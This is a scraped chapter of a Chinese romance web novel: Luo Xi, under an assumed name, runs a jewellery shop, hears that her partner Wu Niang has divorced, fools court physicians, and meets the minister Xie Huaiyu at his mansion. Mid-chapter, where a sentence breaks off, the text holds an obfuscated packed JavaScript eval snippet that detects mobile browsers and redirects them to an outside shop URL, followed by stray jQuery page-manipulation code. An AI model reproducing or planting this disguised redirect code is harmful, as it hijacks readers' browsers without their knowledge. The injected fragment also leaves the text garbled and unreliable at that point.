10. 遇见
作品:《夫人心里没我》 罗溪与之商量妥当,明日九花会来珠玉阁同她说声。
今日她也得早些回府,宫中的御医下午就要来府中给她看诊。
一上午的时光在罗溪涂涂改改中快速度过。
没成想刚回府用完午膳,云儿就回来了,不过是两日未见,罗溪瞧着眼前丫头像瘦了一圈儿。
赶忙喊人进屋,翠竹还给云儿倒了杯水。云儿边喝边诉说这几日发生的大事:“小姐,你是不知,那吴娘的婆家都是什么妖魔鬼怪,还有她的夫君,呸呸,那个男人才配不上吴娘呢。”
罗溪听云儿倒豆子般的话语,不禁微蹙着眉眼:“那家人从吴娘只言片语里就能看出不是好相与的,怎么样,和离了吗?”这件事最棘手的便是她怕人家看着吴娘能赚银钱,而不同意。
“和离了!小姐,翠竹,你们都不知道,说起这个有多气人。”云儿猛的喝干茶杯中的水。
翠竹在旁又把茶水给添上:“多气人,也不能气伤自己,慢慢与小姐说。”
“幸亏小姐有远见,吴娘刚开始与那家人说和离之事时,她的那个夫君还没说话,那老媪就死活不同意,闹的邻居都来看,说是吴娘没为他们家添丁进口也就罢了,如今挣了些银钱便要抛弃夫君,还怀疑吴娘——”
砰的一声,罗溪手猛的敲在桌上,掌心发着麻,气的胸脯起伏着,脸色差到极点。
不等云儿和翠竹慌声询问,出声道:“我无碍,反正结果是好的就行,云儿你继续说。”
云儿再担心,也只能继续说下去:“到后来,吴娘与他们说自己挣得银钱光是进料,到现在本金还没回来,自己这趟回家是要些银子。”
“不给银子便要去外面借,账记在她夫君头上,小金子和奴婢这两日在旁陪着,生怕那家人气上心头动什么歪心思。就在今儿早上,那老媪才松口,说她儿过几日就得迎女子进家门,银子给不了,还亲自看着吴娘他们二人和离的。”
短短几句,道尽了这几日发生的所有事。罗溪兀自沉思着,她担心吴娘现在如何了,这件事虽她们预料过最坏的结果,可最难过的人怕也成了吴娘。
容不得她们主仆三人在这悲春伤秋,不多时宫中的御医便到了。
此时午后的上空灰蒙蒙的,有种风雨欲来的势头。
自院外进来的人还没走几步,就被青一给拦下了。
“白公子,您身上胭脂味儿太浓,主子怕不会让您进书房。”
白锦轼脸上带着些急躁,语气却兴奋的很:“快,让我先进去,有大急事,管不了怎么多了。”
青一巍然不动。
“谢淮玉,谢淮玉!那人有线索了,快让我——”
倏的,书房门从里拉开,青年着一身锦色玄衣,披着大氅,行动间隐约窥见脚上趿拉着云履。
谢淮玉微蹙眉盯着那刚才喊叫的人,声音沉沉:“真是难为你能从声色犬马中抽身赶来了,这样看来,也不费当初救下你。”
白锦轼颇有些尴尬的摸摸鼻尖:“瞧你说的,我这不是发现点有用线索,没来得及换衣,就想先来给你说声。”往后退了几步,又道“我站这儿说,行吧?”
“可以,说吧。”
终于可以一吐为快了,白锦轼感觉自己差点憋死,“我手下暗线来报,那人应该是两年前来的京城,样貌很像,自那以后却再无一丝消息,但我觉得,他应还在这。”
千里迢迢赶赴京城,要么是这儿有亲人,要么就是还有其他目的,断不会轻易离开。
“京城这个地方,找个人不难。”谢淮玉懒懒的靠在门框边,望着不远处的院墙,“刚才你说自入了京,便再无任何消息……”
目光倏尔从远处收回来,凤眼似含着些笑意看着白锦轼:“在我看来,这或许就是个不错的消息。找他的人不止我们,他能躲开众多视线,还能安然无恙,非泛泛之辈。”
“先从京内官臣查,能藏的如此深,应是做了万全的准备。”
白锦轼听着听着,越想越觉得有理。却又想到什么,纠结着:“那就先从这下手,只是官员众多,还不知要暗查到什么时候。”
对于时间快慢,谢淮玉并不在意:“尽人事,听天命。不过近来宫内隐有些动静,不若试试顺藤摸瓜。”
乍听到宫内,白锦轼看了眼青一,又瞅向靠在门上的谢淮玉,小声问道:“听说宫宴没结束,圣上就离席了,发生了何事?”这皇家秘辛,谁不好奇。
没成想谢淮玉听完,没搭理他的问话,只喊了句青一,就转身回了书房。
青一兀然与白锦轼解释:“白公子,主子还有公事没处理完。您想知道些什么,我来给您说就好。”
白锦轼不甚在意,那就是个无事谁也别来烦他的主。这皇家事向青一打听清楚才知道,原来是那贵妃的儿子把刚进宫的妃嫔差点推进冷湖里。
怪不得生气呢,自己没机会亲眼看到还有点遗憾。
-
罗溪觉得自己的后脑勺都快被人盯出花儿来了。
几个御医嘀嘀咕咕,时不时还看几眼过来。最后,颇有名望的张太医站出来,叹气道:“罗尚书,贵女身体无恙,不过从头上的痕迹来看,确实受了不小的伤,或是脑内还留有瘀血,这才会神智不清。”
这脑袋上的病症从古以来,都是非常棘手之事,不敢贸然判定。其他太医宽慰着面前一家人:“尚书,夫人,罗小姐现在就是需安心养伤,不可再受刺激,我们开些安神化瘀的方子,试一试。”
听不懂他们说什么的罗溪,此刻用微撅着嘴,轻轻吹着茶水,荡起的层层水纹,逗的她眉开眼笑。
几位刚被送到正厅门口的太医,无意瞥见这一幕,都摇头惋惜的又劝慰了一番,才出府朝皇宫而去。
李氏等人走了,无奈好笑的说道:“婼婼,你这变脸的本事演的也太真了些,都把那些太医给唬住了。”
罗溪抬起头,笑眼弯弯:“女儿谢母亲夸奖。”
在旁的罗尚书只管听着面前母女俩的对话,微微摇头叹息,他一生追求礼法,可自己的孩子能够平安顺遂,其他便都不重要。
晨光破晓,早起的人家都已升起了烟火。
两个丫鬟疑惑的瞧着自家小姐自洗漱完,到现在不知换了几身衣服。
罗溪扫视着镜中的自己,上身着银红立领夹袄,下配鹅黄织金裙,异常亮眼。这才满意点点头,遂转身和身边两个丫头说道:“今日我可能会与人出门瞧些上等首饰,所以得早些去把脸给弄好,你们俩可以在铺子里等我,或者留一人在府上。”
翠竹上前道:“小姐,我留在府上吧,这几日经历了这些事,万一夫人派人来看您,我能应付过去。”
一切敲定,等用完早膳,罗溪便带着云儿悄悄从后门出了府。后门下人也早习以为常,都是自家主子,他们做下人的只管埋头做好手中事便可。
等从马车上下来,主仆俩已换了另一副面孔。铺子里的吴娘正忙活着往摆架上补一些首饰。
“吴娘,早啊。”罗溪进了铺门就笑模样的走向吴娘。
吴娘不禁手哆嗦了下,转头看着来人,嗔笑道:“洛若啊洛若,一大早就怎么有活力,吓我一跳,差点没拿稳这翠钿。”
罗溪上前忙赔不是:“怪我,这不是几日未见你了嘛,怎么样,没偷摸哭鼻子吧。”
“怎会,好不容易和离,我高兴还来不及呢,若儿,你太小看我吴娘了。”
“对对,我们吴娘长的如此标志,不过是扔了个坏的,才不愁往后找不到更好的。”罗溪也拿起了几件首饰,在摆架上弄着。
吴娘放下手里的活,仔细打量了下对面人的穿着,打趣着:“我们小若儿长的也好看啊,今日这身衣裳倒不见你以往穿过,甚是好看。”
听见这话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674275|188672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云儿也赶忙附和:“嗯嗯,小…洛掌事这身很漂亮,衬得人更好看。”
三人在这说说笑笑,也不忘铺子里的活。以为怎么早没客人会来,没想到一个小姑娘进了珠玉阁。
吴娘赶忙上前招呼着。
九花虽没见过眼前这位,却觉得这珠玉阁不光首饰好看,人也都长的标志。
听见那边的动静,罗溪回头看到来人,九花也看见了她,兴奋的朝她偷偷点了点头。事成了。
罗溪心里有底了,不妄大早上开始收拾自己,赶忙喊住吴娘,上前给两人互相介绍着:“这位是九花姑娘,这位是我们珠玉阁的副掌事,吴娘。”
“原来你们认识啊,我说呢,九花姑娘,名字真好听。”吴娘出声夸赞着。
九花听了有些不好意思道:“我师父给我起的,小时经常与花花草草打交道,便给我起了这名,你还是第一个夸我名字好听的人。”
女儿家的相识来的很快,不久几人都熟络起来。
罗溪与吴娘说了几声九花的来意,在两人出铺门前,又小声交带了几句:“吴娘,等忙完去二楼画图的那屋,我前几日写了些关于咱们铺子未来的发展,你先去看看,有什么想法等我回来谈谈。”
“好。”
马车上九花大致与罗溪说着自家主子的身份,罗溪也很恰到时宜的表现出了莫大震惊。
两人还在那说着什么,很快马车便停在了一处府邸前。二人下了马车,映入罗溪眼中的便是恢宏的府门,门前还立着两座石狮子。
九花乐呵的拍拍罗溪的肩膀:“怎么样,我们大人的府邸气派吧。”
罗溪忙点点头,说着真不错。自己家的府邸与之一比,确实显得小了些,不过也不差。
随着九花进了府中,里面又是另一种光景。哪怕罗溪再怎么见过雕梁画栋,此时也不得不感叹一句,这建的还真是——
青石板铺路,正对府门的便是一座小型太湖石,其上瀑布流淌,池底清晰可见铺着孔雀石片,碧光粼粼。更不用说阁楼回廊,无不透着低调奢华。
罗溪心情有些怅然,赶紧低头不再看,她怕继续看下去,会更止不住内心的想法。
九花还以为身旁人是紧张,说道:“洛若,我都打听好了,现在大人不在府中,你不用怕,只要咱们小心点没事的。”
“嗯。”不在府中么,没事,反正急不来。能亲眼看看来自四海朝贡的珠宝首饰,也算有幸。
罗溪没想到,那个刚才还说不在府上的人,只拐个弯的功夫,就措不及防的遇上了。
这个时辰,主子不应该在文渊阁吗。心里讶异,九花也得先赶忙问安。
罗溪望着不远处那人。时隔几日再相见,更遑论亲眼见识了府中的格调后,不禁对这位谢首辅的认知又升了一个层次。
但该做的礼还是要做,同样忙身体伏低,声音轻颤着:“民女洛若见过谢大人。”
谢淮玉盯着面前作礼的女子,凤眸含着莫名意味,“…你叫洛若?”
“是。”答完,罗溪抬起那张满含惊慌失措的小脸,细声道:“谢大人,民女前来贵府叨扰,实因那天铺子所听之事,实在想知这上等首饰珍宝是何模样,便私下贸然同九花说了一嘴,没成想大人竟会让民女如愿,民女在这向大人谢恩。”
迟迟等不来那人出声,罗溪紧张的绞着身侧的裙摆,又道:“若是扰了大人,民女这就离开。”说完却没动。
谢淮玉瞧着暗自紧张的女子,直到那上好的裙摆被攥出了褶子,指尖泛着白。
才缓缓道:“若是嫌扰到了我,这府门怕是都进不来。”
“府上来了客人,我既作为主人,理应招待。”谢淮玉神色坦然:“既然来了,不看一眼岂不亏了。”
待说完,兀自迈步转身平缓的往后离去。
青一侧身恭敬的说道:“洛姑娘,请移步。”

